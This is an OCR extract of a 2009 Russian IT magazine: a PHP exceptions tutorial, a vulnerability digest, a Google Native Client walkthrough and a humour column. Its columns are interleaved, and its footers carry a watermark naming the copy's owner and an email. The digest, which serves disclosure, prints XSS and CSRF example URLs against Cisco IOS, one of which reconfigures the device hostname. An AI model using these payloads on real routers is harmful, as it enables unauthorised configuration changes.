Возникшее исключение должно быть перехвачено с помо- ные действия в момент возникновения чрезвычайной
щью конструкции try-catch в вызывающем коде. Вызов ме- ситуации, например, записать информацию об ошибке
тода, приведенного в примере 4, может выглядеть следу- в лог-файл или оповестить администратора по e-mail.
ющим образом: n Исключения невозможно игнорировать. Каждое ис-
ключение должно быть обработано в соответствующем
<?php месте программы, иначе возникает фатальная ошибка,
try {
/* Внутри блока try находится код, исполнение приводящая к завершению работы всего приложения.
* которого может привести к возникновению исключения Данное обстоятельство вынуждает программиста пи-
*/
сать код обработки для всех возможных ошибок, что по-
$db = new MyDBClass (); ложительно влияет на качество разрабатываемого про-
// Код метода connect() см. в примере 4 граммного продукта.
$db-> connect('main_db', 'localhost', 3306, 'root', ↵
'parol', 'utf8');
Критерии «против»:
} catch (Exception $e) { n Снижает скорость обработки ошибок. Генерация ис-
/* Здесь мы перехватываем и обрабатываем исключения,
* возникшие в ходе выполнения кода в блоке try ключения работает в разы медленнее, чем возврат кода
*/ ошибки, но так как эти действия выполняются в край-
echo 'Error: '. $e->getMessage().' Line: '. ↵
$e->getLine(); не редких случаях (возможно, никогда), данный факт
} не может существенно повлиять на общую производи-
?> тельность системы.

Данный подход свободен от недостатков предыдущих Работа с исключениями в PHP


способов. Рассмотрим подробнее особенности его работы Работа с исключениями в PHP появилась начиная с пя-
в следующих разделах. той версии. В обработке исключений участвуют три ком-
понента.
Использование исключений:
«за» и «против» Объект класса Exception
Рассмотрим критерии «за»: Для описания исключительной ситуации в PHP сущест-
n Упрощение логики работы приложения. Механизм вует класс – Exception. Конструктор класса имеет два не-
обработки исключений предполагает, что функции не- обязательных аргумента – сообщение об ошибке (стро-
обходимо возвращать значение, только если значение ка) и код ошибки (число). Генерации исключения (т.е. соз-
используется в дальнейших вычислениях. Отсутствие дание объекта класса Exception) не приводит к остановке
необходимости проверять значения на ошибки упрощает выполнения основного алгоритма. Рассмотрим несколь-
логику работы приложения и сокращает длину кода. ко примеров создания объектов, описывающих исключи-
n Повышение читабельности кода. Механизм обработ- тельную ситуацию:
ки исключений принуждает разделять алгоритм на ос-
<?php
новной, идущий в блоке try{…}, и код обработки ошибок, $error1 = new Exception();
находящийся в блоке catch{…}. Такое разделение сущес- $error2 = new Exception('File data.dat is not find!');
$error3 = new Exception('File data.dat is not find!', 1234);
твенно повышает читабельность кода. ?>

76
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
веб-программирование
В момент создания объекта класса Exception PHP ав- да одни и те же значения. Для сохранения реальных дан-
томатически собирает дополнительную информацию, та- ных об ошибке необходимо самостоятельно указать файл
кую как имя файла, в котором создан объект, номер стро- и номер строки, что позволяет сделать конструктор клас-
ки, стек вызова функций, и сохраняет эту информацию са ErrorException.
в свойствах объекта. Рассмотрим пример извлечения под- Дополни тельные типы ис к лючений, так ие как
робных данных об ошибке. BadFunctionCallException, BadMethodCallException,
DomainException, InvalidArgumentException, LengthException,
<?php LogicException, OutOfBoundsException, OutOfRangeException,
// Создадим объект Exception и попробуем извлечь максимум
// информации OverflowException, RangeException, RuntimeException,
$error = new Exception('Test PHP exceptions', 2009); UnderflowException, UnexpectedValueException, можно найти
// Сообщение об ошибке в библиотеке SPL (Standard PHP Library, см. http://ru.php.net/
echo $error->getMessage(); manual/en/spl.exceptions.php).
// Код ошибки
echo $error->getCode(); Оператор throw
// Файл, где произошла ошибка Вызов оператора throw приводит к прекращению выпол-
echo $error->getFile(); нения основного алгоритма и передаче управления ко-
// Номер строки, где было сгенерировано исключение ду обработке ошибки, если таковой отсутствует, то проис-
echo $error->getLine(); ходит аварийное завершение работы приложения. В ка-
// Стек вызова функций до момента генерации исключения честве параметра оператор throw принимает объект клас-
// в виде строки са Exception.
echo $error->getTraceAsString();

// Стек вызова функций до момента генерации исключения Конструкция try-catch


// в виде массива
var_dump($error->getTrace()); Конструкция try-catch состоит из одного блока try и одного
?> или более блоков catch. В блоке try располагается код, ис-
полнение которого может привести к выбросу исключения,
Подробное описание класса Exception можно найти а в блоках catch код обработки ошибок. Пример:
в документации по PHP (см. http://ru2.php.net/manual/en/
class.exception.php). <?php
try {
В некоторых ситуациях необходимо сгенерировать ис- // Некая функция, исполнение которой может привести
ключение не в том месте, где произошла ошибка. Для та- // к генерации исключения
runMyFunction();
ких случаев существует встроенный класс ErrorException } catch (DataBaseException $e){
(потомок класса Exception), позволяющий самостоятельно // Обработаем исключения, принадлежащие к классу
// DataBaseException
задать имя файла, номер строки, уровень ошибки (см. http:// } catch (ErrorException $e){
ru2.php.net/manual/en/class.errorexception.php). Примером // Обработаем исключения, принадлежащие к классу
// ErrorException
использования этого класса может служить код, конвер- } catch (Exception $e){
тирующий внутренние PHP-ошибки в исключения. Основ- // Обработаем исключения, принадлежащие Exception,
// т.е. любое исключение, не пойманное в предыдущих
ная идея – генерировать исключение внутри функции об- // блоках catch
работчика стандартных ошибок: }
?>

<?php
// Объявим функцию, которой PHP будет передавать данные
// о возникших ошибках Общие рекомендации по использованию
function exception_error_handler($errno, $errstr, ↵
$errfile, $errline ) {
исключений
throw new ErrorException($errstr, 0, $errno, ↵ n Используйте исключения только для действитель-
$errfile, $errline); но исключительных ситуаций. Если в результате воз-
}
никновения ошибки продолжение исполнения основно-
// Назначим нашу функцию в качестве обработчика ошибок го алгоритма невозможно – возбуждение исключения
set_error_handler("exception_error_handler");
является оправданным шагом.
// Попробуем вызвать функцию с неправильным n Максимально подробно описывайте произошедшую
// количеством аргументов
strpos(); ошибку. Всегда указывайте максимально подробную
?> информацию о произошедшей ошибке, если ошибка
произошла из-за отсутствия файла, обязательно ука-
Результатом работы скрипта будет генерация исключе- жите полный путь к файлу, который не удалось обнару-
ния типа ErrorException, содержащая описание возникшей жить. Чем подробнее вы опишете возникшую ошибку,
проблемы (Wrong parameter count for strpos()). тем проще отлаживать и сопровождать приложение.
Если в приведенном выше примере для документиро- n Документируйте возможные исключения. Если ме-
вания ошибки вместо класса ErrorException использовать тод в определенных ситуациях генерирует исключение,
Exception, то метод getFile() вернет имя файла, где объяв- обязательно укажите это в документации, чтобы предуп-
лена функция – перехватчик ошибок, а getLine() – номер редить разработчиков о необходимости использования
строки, отвечающей за генерацию исключения, т.е. всег- конструкции try-catch.

№2, февраль 2009 77


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
веб-программирование
n Сохраняйте информацию об ошибках. Крайне полез- БД, необходимо обработать другим способом – например,
ным может оказаться сохранение информации об ис- отправить письмо администратору.
ключительных ситуациях в логах системы. В случае не- Если для каждой подсистемы определить свой класс ис-
корректной работы приложения данные записи помогут ключений (например DataBaseException, NetworkException,
быстро локализовать и устранить причину. FileSystemException и т.д.), то очень просто назначить свой
n Избегайте пустых обработчиков ошибок. Отсутствие обработчик для каждого типа исключений.
кода обработки в блоке catch означает игнорирование PHP позволяет создать собственный класс для работы
ошибки, что не всегда является правильной реакцией с исключениями путем наследования от базового класса –
на ошибку. Exception (или ErrorException).
n Генерации исключения и обработка ошибок долж-
ны находиться на разных уровнях. Если код прило- <?php
class DataBaseException extends Exception {
жения выглядит следующим образом:
public function __construct($message, $code = 0) {
<?php // Вызываем конструктор родительского класса
define(DEFAULT_DB_CHARSET, ‘utf8’); parent:: __construct($message, $code);
……
public function connect($dbName, $host, $port, ↵ // Сообщаем о произошедшей ошибке
$login, $password, $charset) { $this->report();
}
$supportedCharset = array('cp1251', 'latin1', ↵
'utf8'); private function report(){
// посылаем письмо администратору
// часть кода пропущена }
try { }
// Проверяем возможность использования ?>
// кодировки, переданной в параметре
if(!in_array($charset, $supportedCharset)) {
// Кодировка, переданная в параметре В приведенном выше коде определен пользователь-
// $charset, не поддерживается ский класс DataBaseException для документирования оши-
throw new Exception("Кодировка ↵
[".$charset."] не поддерживается"); бок, возникших при работе с БД. Обратите внимание: в от-
} личие от стандартного класса исключений:
} catch(Exception $e) {
// Используем стандартную кодировку n текстовое описание ошибки – обязательный параметр
$charset = DEFAULT_DB_CHARSET; (в стандартном классе этот параметр можно опустить);
}
} n в момент возникновения ошибки класс DataBase
?> Exception вызывает метод report(), который должен от-
правлять письмо администратору или сохранять инфор-
То в случае возникновения исключения оно будет обра- мацию об ошибке иным способом.
ботано внутри метода, это означает, что сам метод зна-
ет, как обработать ошибку, поэтому использование ме- Собственные классы исключений помогают лучше до-
ханизма исключений не оправдано. В приведенном вы- кументировать ошибки и упрощают их обработку, а также
ше примере ошибку лучше устранить в момент возник- позволяют выполнять дополнительные действия в момент
новения без генерации исключения: возникновения исключительной ситуации.
Каплю дегтя добавляет ухудшение переносимости
<?php кода. Например, если класс для работы с БД (например,
define(DEFAULT_DB_CHARSET, ‘utf8’);
…… DBaccess) генерирует исключение типа DataBaseException,
public function connect($dbName, $host, $port, ↵ то при необходимости перенести класс Dbaccess в дру-
$login, $password, $charset) {
гой проект, возникает необходимость переноса клас-
// часть кода пропущена са DataBaseException. Решение данной проблемы лежит
$supportedCharset = array('cp1251', 'latin1', 'utf8'); в плоскости поиска разумного компромисса между удобс-
твом использования собственных исключений и перено-
// Проверяем возможность использования кодировки,
// переданной в параметре симостью кода.
if(!in_array($charset, $supportedCharset)) { Механизм обработки исключений дает прекрасную
// Используем стандартную кодировку
$charset = DEFAULT_DB_CHARSET; возможность упростить код и облегчить обработку оши-
} бок, однако неправильное использование приводит к об-
} ратному эффекту.
?>
1. Работа с исключениями в PHP5 – http://ru2.php.net/manual/en/
class.exception.php.
Создание собственных исключений 2. Общие сведения о механизме обработки исключений – http://
Исключительная ситуация может произойти в различных ru.wikipedia.org/wiki/Обработка_исключений.
частях приложения. Имеет смысл создать отдельный класс 3. Несколько примеров использования исключений – http://
для каждого уровня приложения. Например, если всю ин- phpclub.ru/faq/PHP5/Exception.
формацию об ошибках вы храните в БД, то для ошибки, 4. Дополнительные типы исключений (Standard PHP Library) –
возникшей из-за невозможности подключиться к серверу http://ru.php.net/manual/en/spl.exceptions.php.

78
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
bugtraq

Множественные уязвимости Выполнение произвольного кода


в Novell GroupWise в UltraVNC
Программа: Novell GroupWise версии до 7.03 HP2 и 8.0 HP1. Программа: UltraVNC 1.0.5 и более ранние версии.
Опасность: Высокая. Опасность: Средняя.
Описание: 1. Уязвимость существует из-за недостаточной Описание: Уязвимость существует из-за знаковой
проверки подлинности HTTP-запросов перед выполнени- ошибки в функциях ClientConnection::CheckBufferSize()
ем некоторых действий в Novell GroupWise WebAccess. Уда- и ClientConnection::CheckFileZipBufferSize() в файле
ленный пользователь может произвести CSRF-нападение ClientConnection.cpp. Злоумышленник может обманом за-
и добавить правила перенаправления или изменить неко- ставить пользователя подключиться к злонамеренному
торые настройки приложения. VNC-серверу, вызвать переполнение динамической памяти
2. Уязвимость существует из-за недостаточной обработ- и выполнить произвольный код на целевой системе.
ки данных HTML-сообщения или в HTML-вложениях в Novell URL производителя: ultravnc.sourceforge.net.
GroupWise WebAccess. Удаленный пользователь может с по- Решение: Установите последнюю версию 1.0.5.4 с сайта
мощью специально сформированного e-mail-сообщения производителя.
выполнить произвольный код сценария в браузере жерт-
вы в контексте безопасности уязвимого сайта. SQL-инъекция в ProFTPD
3. Уязвимость существует из-за ошибки при обработ- Программа: ProFTPD 1.3.1 и более ранние версии.
ке входных данных в параметрах User.id и Library.queryText Опасность: Средняя.
в сценарии /gw/webacc. Удаленный пользователь может Описание: Уязвимость существует из-за некорректной
с помощью специально сформированного запроса выпол- установки кодировки перед выполнением SQL-запросов.
нить произвольный код сценария в браузере жертвы в кон- Удаленный пользователь может с помощью специально
тексте безопасности уязвимого сайта. сформированного запроса в multi-byte-кодировке выпол-
4. Уязвимость существует из-за ошибки при обработке нить произвольные SQL-команды в базе данных приложе-
HTTP POST-запросов, которые преобразовываются в HTTP ния. Для успешной эксплуатации уязвимости должна быть
GET-запросы в Novell GroupWise WebAccess. Удаленный включена поддержка NLS.
пользователь может с помощью специально сформиро- URL производителя: www.proftpd.org.
ванного HTTP POST-запроса получить доступ к потенци- Решение: Установите последнюю версию 1.3.2 с сайта про-
ально важным данным. изводителя.
5. Уязвимость существует из-за неизвестной ошибки
в Novell GroupWise Internet Agent (GWIA). Удаленный поль- Отказ в обслуживании в Squid
зователь может вызвать переполнение буфера и выпол- Программа: Squid версии до 2.7.STABLE6, 3.0.STABLE13
нить произвольный код на целевой системе. и 3.1.0.5.
URL производителя: www.novell.com/products/groupwise. Опасность: Средняя.
Решение: Установите последнюю версию 7.03 HP2 или 8.0 Описание: Уязвимость существует из-за ошибки при об-
HP1 с сайта производителя. работке специально сформированного HTTP-запроса, со-
держащего некорректный номер версии в файлах HttpMsg.c
Межсайтовый скриптинг в Cisco IOS и HttpStatusLine.c. Удаленный клиент может с помощью спе-
Программа: Cisco IOS 12.4(23), возможно другие версии. циально сформированного запроса вызвать отказ в обслу-
Опасность: Низкая. живании приложения.
Описание: 1. Уязвимость существует из-за недостаточ- URL производителя: www.squid-cache.org.
ной обработки входных данных в URL при выполнении ко- Решение: Установите последнюю версию 2.7.STABLE6,
манд. Удаленный пользователь может с помощью специ- 3.0.STABLE13, 3.1.0.5 или исправление с сайта произво-
ально сформированного запроса выполнить произвольный дителя.
код сценария в браузере жертвы в контексте безопасности
уязвимого сайта. Пример: Уязвимость при обработке
http://[host]/exec/"><body onload="alert('bug');"> BGP UPDATE‑сообщений в OpenBSD
Программа: OpenBSD версии 4.3, 4.4.
2. Уязвимость существует из-за недостаточной провер- Опасность: Средняя.
ки подлинности http-запросов перед выполнением некото- Описание: Уязвимость существует из-за ошибки при об-
рых действий. Удаленный пользователь может произвес- работке BGP UPDATE-сообщений, содержащих некоррек-
ти CSRF-нападение и изменить конфигурацию устройст- тный AS4_PATH. Удаленный пользователь может с помо-
ва. Пример: щью специально сформированного BGP UPDATE-сообще-
ния аварийно завершить BGP-сессию и потенциально пов-
http://[host]/exec/"><iframe src="http://192.168.1.2/ ↵
level/15/configure/-/hostname/BUGGY/CR"> лиять на работу сети.
URL производителя: www.openbsd.org.
URL производителя: www.cisco.com. Решение: Установите исправление с сайта производителя.
Решение: В настоящее время способов устранения уязви-
мости не существует. Составил Александр Антипов

№2, февраль 2009 79


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
веб

Native Client –
Rich Internet Applications от Google

Кирилл Сухов
Rich Internet Applications – что это такое и где применяется? Мы этим уже пользуемся
или это только туманное будущее? Попытаемся разобраться в данных вопросах, рассмотрев
концепцию RIA на различных примерах. Сегодня мы установим и опробуем Google Native Client.

Ч
то такое Rich Internet Applications? тинговый термин», но в данном слу- сеть и предоставляющие клиенту ре-
Если честно, так и хочется ляпнуть чае я погрешу против истины. RIA – сурсы веб-сервера, но обладающие
что-то вроде «очередной марке- это приложения, работающие через функциональностью полноценных на-

80
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
веб
стольных приложений. Это опреде- мина «native code» в голову не прихо-
ление не страдает академичностью. дит) для архитектуры x86.
Я его только что выдумал, но (по мо- В отличие от JavaFX или Silverlight
ему мнению) оно не хуже любого дру- в этой технологии нет компиляции
гого. По сути Rich Internet Applications в байт-код и какой-либо виртуальной
(RIA) – это следующая ступень эволю- машины. Была создана среда выпол-
ции: от страничек, сайтов, через веб- нения, позволяющая запускать обыч-
приложения к чему-то далёкому и пол- ные, «родные» для этой платформы
нофункциональному. программы в безопасном для дан-
Как правило, RIA-приложения крос- ной системы окружении. Разработчи-
сплатформенны, запускаются в брау- ки идеально выдержали модель «пе-
зере и не требуют какой-либо дополни- сочницы».
тельной установки программного обес- Во избежание взаимодействия
печения на стороне клиента. В качес- Native Client непосредственно с опе-
тве примера веб-приложений, близ- рационной системой весь код ис-
ких по идеологии к RIA, можно при- полняется в отдельном, изолирован-
вести Google Maps, GMail или роли- ном контейнере. Это позволяет моду-
ки YouTube. лю использовать системные ресурсы,
Впервые этот термин прозву- но в то же время ограждает ОС от воз-
чал из уст маркетологов компании можного случайного или злонамерен-
Macromedia теперь уже в далёком ного повреждения [2].
2001 году. С тех пор появилось не- В целом Native Client (NaCL) состо-
мало технологий и реализаций дан- ит из контейнера, играющего роль пе-
ной концепции. Наиболее извест- сочницы, и среды исполнения (runtime)
ные из них: Adope Air, Alchemy, Flex, нативного кода. Третьим элементом
JavaFX, Microsoft Silverlight, XULRunner выступает плагин для веб-браузе-
от Mozilla Foundation и только что поя- ра. Для коммуникации между браузе-
вившийся Google Native Client. ром и NaCL-модулем предоставляет
При всём разнообразии подхо- два варианта: simple RPC‑интерфейс
дов технологии RIA имеют некото- (SRPC) и давно известный Netscape
рые общие черты, и самая глав- Plugin Application Programming Interface
Рисунок 1. Структура Google Native
ная из них – концепция песочницы (NPAPI). Client
(sandbox). Как правило, любое RIA вы- Писать модули для Google Native
полняется в локальной, изолирован- Client предполагается на любом компи-
ной среде, и хотя использует ресур- лирующемся на данной системе языке
сы компьютера-клиента, не может фа- программирования.
тально влиять на его систему. В настоящий момент Google Native
Обычно RIA-приложения взаи- Client рассматривается как экспери-
модействуют с сервером асинхрон- ментальная технология, но разве это
но, не прерывая работу пользовате- мешает нам попробовать её в деле
ля для получения ответа. Они име- прямо сейчас?
ют богатый пользовательский интер-
фейс и не предъявляют каких-либо Первое знакомство
особых требований к компьютерам- Скачиваем Native Client SDK со стра-
клиентам. нички проекта – http://code.google.com/
p/nativeclient/wiki/Downloads.
Google Native Client – Сразу хочу заметить, что хотя тех-
Quake в браузере и другие нология и позиционируется как крос-
Рисунок 2. Native Client приложение
Понятно, что такой гигант, как Google, сплатформенная (представлены сбор- «life»
не мог стоять в стороне от тенденции, ки SDK для Linux, Windows и Mac, а так-
которую сам же и создал. Первый шаг же исходный код приложения), чтобы (на момент написания этой статьи ра-
в этом направлении, замечательный в полной мере её опробовать, пользо- бота с Python 2.6 давала ошибки).
инструментарий Google Gears, был вы- вателям ОС Windows придется выпол- Полученный архив распаковываем
пущен ещё в конце весны 2008 года, нить несколько больше телодвиже- в любое удобное место и рассматрива-
а в декабре 2008 года компания пред- ний, а именно установить интерпре- ем полученный результат. На рис. 1 по-
ставила свою RIA-технологию – Google татор Python и возможно cygwin. При- казана структура Native Client SDK.
Native Client. Её суть – запуск в браузе- чём Pyhton (это уже касается поль- Директории common/ и tests/ содер-
ре модулей, написанных на нативном зователей любой операционной сис- жат исходные коды примеров и тес-
коде (увы, адекватного перевода тер- темы) должен быть версии 2.4.x-2.5.x тов, директории scons-out/, site_scons/

№2, февраль 2009 81


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
веб
ловского происхождения, в частности
gcc и imagemagick и собранная вер-
сия Native Client SDK. В директории
documentation/ – документация (какая
неожиданность!).
Теперь, сориентировавшись, можно
опробовать работоспособность Native
Client. Для этого отправимся в директо-
рию googleclient/native_client/tests/, вы-
бираем там, к примеру, папку /life, на-
бираем в консоли команду:

python run.py

И насла ж даемся результатом


(см. рис. 2).
В общем, всё работает, но не за-
тем мы всё это разворачивали, чтобы
увидеть ту же «жизнь» в браузере. По-
пытка открыть файл life.html приведёт
Рисунок 3. Модуль не загружен к выдаче сообщения о незагруженном
плагине. Что и разумно – мы пока ни-
чего не ставили. Немедленно испра-
вим эту ситуацию, тем более что в ди-
ректории tests/ среди других призыв-
но маячит папка quake/.

Устанавливаем
Native Client-плагин
Сначала закроем все экземпляры бра-
узера, который мы хотим пропачтить
(в данном случае это рекомендуемый
руководством Firefox 3).
Затем отправляемся в директо-
рию googleclient/native_client/ и запус-
каем команду:

./scons --prebuilt firefox_install

Скрипт установки, проверив систе-


му, разок спросит нас, продолжать ли,
Рисунок 4. Земля!!! установит плагин и закончит свою ра-
боту сообщением вроде:
и ite_scons_general/ содержат файлы, имеющие отноше-
*****************************************************************
ние к сборке Native Client-приложений. В поддиректории * You have successfully installed the NaCl Firefox plugin.
scons‑out/*/staging находятся скомпилированные примеры * As a self-test, please confirm you can run
для тестирования Native Client-плагина браузера. * /root/.mozilla/plugins/sel_ldr
* from a shell/command prompt. With no args you should see
Файлы Sconstruct, scons.bat и scons предназначены * No nacl file specified
для сборки самой программы Native Client, а также приме- * on Linux or Mac and no output on Windows.
****************************************************************
ров и тестов в различных операционных системах. *****
В директориях include/, intermodule_comm/, ncv/, nonnacl_ * To test this installation also try the test links on the page
util/, npapi_plugin/ и service_runtime/ содержится исходный * scons-out/nacl/staging/index.html
*****************************************************************
код ядра Native Client, в частности npapi_plugin/ содержит scons: done building targets.
исходники плагина для браузера.
В tools/ находятся исходные коды Native Client SDK. Согласно документации установка плагина на плат-
В gtest/ – Open Source-фрэймворк для юнит-тестирова- форме Windows происходит идентично, команда установ-
ния от Google. ки выглядит как:
В директориях third-party/ и native_client/third-party/ со-
держатся, как это понятно из названия, инструменты не гуг- .\scons --prebuilt firefox_install

82
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
веб
но, несмотря на все усилия, мне так и не удалось добить-
ся нормального выполнения этой команды. Но можно пой-
ти другим путём – необходимо скопировать из папки \nacl\
googleclient\native_client\scons-out\opt-win\staging в папку
C:\Program Files\Mozilla Firefox\plugins следующие 3 фай-
ла: inpGoogleNaClPlugin.dll, SDL.dll, sel_ldr.exe и переза-
пустить браузер.
Теперь проверим установленный плагин. Зайдём в ди-
ректорию googleclient/native_client/scons-out/nacl/staging
и раскроем браузером файл index.html. Мы получим доступ
к различным тестам, представляющими собой html-стра-
нички с внедрёнными скомпилированными приложениями
Google Native Client (см. рис. 5).
Если посмотреть исходный код такого html-файла,
мы увидим примерно следующую конструкцию:

<HTML>
<HEAD>
<TITLE>Some Demo</TITLE>
<script type="text/javascript">
var nacl_elt;
// Before scripting the loaded module, ensure the Native Рисунок 5. Тестируем плагин
// Client module is loaded.
var startupTimeout;
var PostLoadInit = function() {
if (nacl_elt.__moduleReady == 1) {
clearTimeout(startupTimeout);
nacl_elt.focus();
} else {
if (nacl_elt.__moduleReady == undefined) {
alert('The Native Client plugin was unable to load');
return;
}
startupTimeout = setTimeout(PostLoadInit, 100);
}
}

// Init is called when the document has completed loading.


// It downloads the NativeClient modules.

var Init = function() {


// service_url contains the location of the NativeClient Рисунок 6. Файлы примера
// module to be loaded as a service.
nacl_elt = document.getElementById('embed1'); кроем в браузере html-страницу earth.html. и... получим то
PostLoadInit();
} самое сообщение (см. рис. 3). Как же так? Ведь плагин мы
</script> установили?
</HEAD>
<BODY id="bodyId" onload="Init();" > Дело в том, что, несмотря на наличие Native Сlient-пла-
<h1>SomeDemo</h1> гина, модуль не грузится по той простой причине, что он
<p>
Some text не собран, не откомпилирован, а представлен только исход-
</p><embed id="embed1" src="some_demo.nexe" ↵ ным кодом (файл earth.сс), на языке С++. Впрочем, в той же
type="application/x-nacl-srpc" width=512 height=512>
<br> папке мы видим файл Makefile, и это позволяет надеяться,
<script> что ситуацию можно исправить. Сначала соберём и запус-
var embed1 = document.getElementById('embed1');
</script> тим Standalone-приложение:
</BODY>
</HTML> make debug run

Как видите, тут нет ничего сложного – при загрузке стра- После этого запустится самостоятельное приложение,
ницы сначала с помощью JavaScript производится провер- представляющее собой вращающееся изображение земно-
ка наличия модуля, и в случае успеха он загружается в кон- го шара, а в папки примера появится исполняемый файл –
тейнер с id embed1. В случае неудачи выводится сбиваю- earth_debug.
щее с толку сообщение – «The Native Client plugin was unable Теперь соберём Native client-модуль:
to load». Почему сбивающее с толку? Сейчас я это покажу.
make release nacl
Земля в иллюминаторе
Возвращаемся в директорию /googleclient/native_client/tests Если все прошло нормально, появятся ещё два фай-
в папку earth/ (см. рис. 6). ла – earth.nexe и earth_release.nexe. Можно опять открыть
Как нетрудно догадаться, сценарий run.py запускает earth.html в браузере, и теперь картинка должна быть сов-
приложение, но нам это совсем не нужно. Вместо этого от- сем другой (см. рис. 4).

№2, февраль 2009 83


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
веб
Рассмотрим пример посложнее.
В папке googleclient/native_client/tests/
xaos находятся исходники и сценарий
сборки известного фрактального конс-
труктора Xaos. Правда, не исходники
самого Xaos, их сборочный скрипт ска-
чает отдельно. Собирать просто:

./xaos_tool.sh all

И, раскрыв браузером xaos.html, на-


слаждаемся результатом (см. рис. 7).
На самом деле в этом и предыду-
щем примере мы выступаем в роли
разработчика. Конечному пользова-
телю приложения достаются уже от-
компилированные модули, и всё, что
ему нужно, – оснастить браузер Native
client плагином.
Ну а мы продолжим развлекаться.
Теперь приступим к обещанной quake.
Тут готового сценария нет, поэтому бу-
дем действовать вручную. Рисунок 7. Редактируем фракталы
Заходим в папку googleclient/native_
client/tests/quake/ и скачиваем исход-
ные коды игры:

wget http://www.libsdl.org/ ↵
projects/quake/src/ ↵
sdlquake-1.0.9.tar.gz
...
wget http://www.libsdl.org/ ↵
projects/quake/data/ ↵
quakesw-1.0.6.tar.gz
...

Теперь их разархивируем:

tar -x --strip-components=1 ↵
-f sdlquake-1.0.9.tar.gz
...
tar -x -f quakesw-1.0.6.tar.gz
...

Должно образоваться множество


файлов – исходников и одна дирек- Рисунок 8. Наши победят!
тория – id1/.
Следующим шагом наложим необходимый патч из native Client-приложение ни на одной платформе. Более того,
Client: на данный момент времени NaCL отказывается собирать-
ся с Python 2.6.x, браузер с установленным NaCL-плагином
patch -p1 <nacl_quake.patch неоднократно замечен в неадекватном поведении, некото-
рые тесты не запускаются под платформой Windows.
Всё, теперь можно приступать к сборке: С другой стороны, API NaCL открыт и документиро-
ван (/googleclient/native_client/scons-out/doc/html), поэтому
make clean nacl для настоящего энтузиаста нет препятствий попробовать
make debug nacl
make release nacl свои силы в написании приложений «невзирая на». Труд-
но сейчас сказать, насколько перспективным окажется это
Осталось открыть в браузере файл quake.html, и можно занятие, но интересным – наверняка.
гонять монстров (см. рис. 8).
1. Домашняя страница проекта – http://code.google.com/p/
И пока всё... nativeclient.
Да, на этом, к сожалению, пока всё. К сожалению, техно- 2. Описания архитектуры GoogleNative Client (PDF) – http://
логия пока действительно сырая, и автору не удалось пос- nativeclient.googlecode.com/svn/trunk/nacl/googleclient/native_
ледовательно написать с нуля и запустить Google Native client/documentation/nacl_paper.pdf.

84
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
сисадмин тоже человек

Стереотипы по работе с персоналом, когда она прочитала заяву «...прошу пе-


Решила я однажды пару месяцев назад с работы сбежать порань- ревести... на должность заместителя руководителя департамента
ше (часа на два). Выхожу, значит, через калитку. Гляжу, навстречу информационных технологий без заработной платы».
мне двигается мальчик знакомый, а рядом с ним дядечка незнако-
мый годами так за тридцать. Мысленно на ходу вытаскиваю отвер- Vendor
тку, дабы «заколоть грешников», препятствующих побегу.
Доходят до меня, завязывается разговор о делах и общих зна-
комых. Пока разговариваю, замечаю, как смотрит на меня дядечка. Этот страшный зверь Сэкуэль
Вид мой на тот момент: каблуки + сверхмини при длинных ногах, Работаю админом в коммерческой организации с трехуровневой
росте 170 и параметрах 90-60-90... Выглядит впечатляюще, я его иерархией в административном смысле. То есть мой офис явля-
понимаю. Смотрит на меня дядечка до того откровенно скептичес- ется филиалом большой конторы, а у нас в свою очередь, тоже
ким взглядом, что я сама на него с возмущением стала смотреть. имеется филиал в другом городе.
Замечая, что я смотрю мимо него, знакомый мальчик поворачива- Соответственно проблемы в IT нижестоящего офиса решаю я,
ется и, вспомнив о цели своего визита, говорит ему: «Вот, это Да- но ключевые моменты согласовываю с вышестоящим офисом.
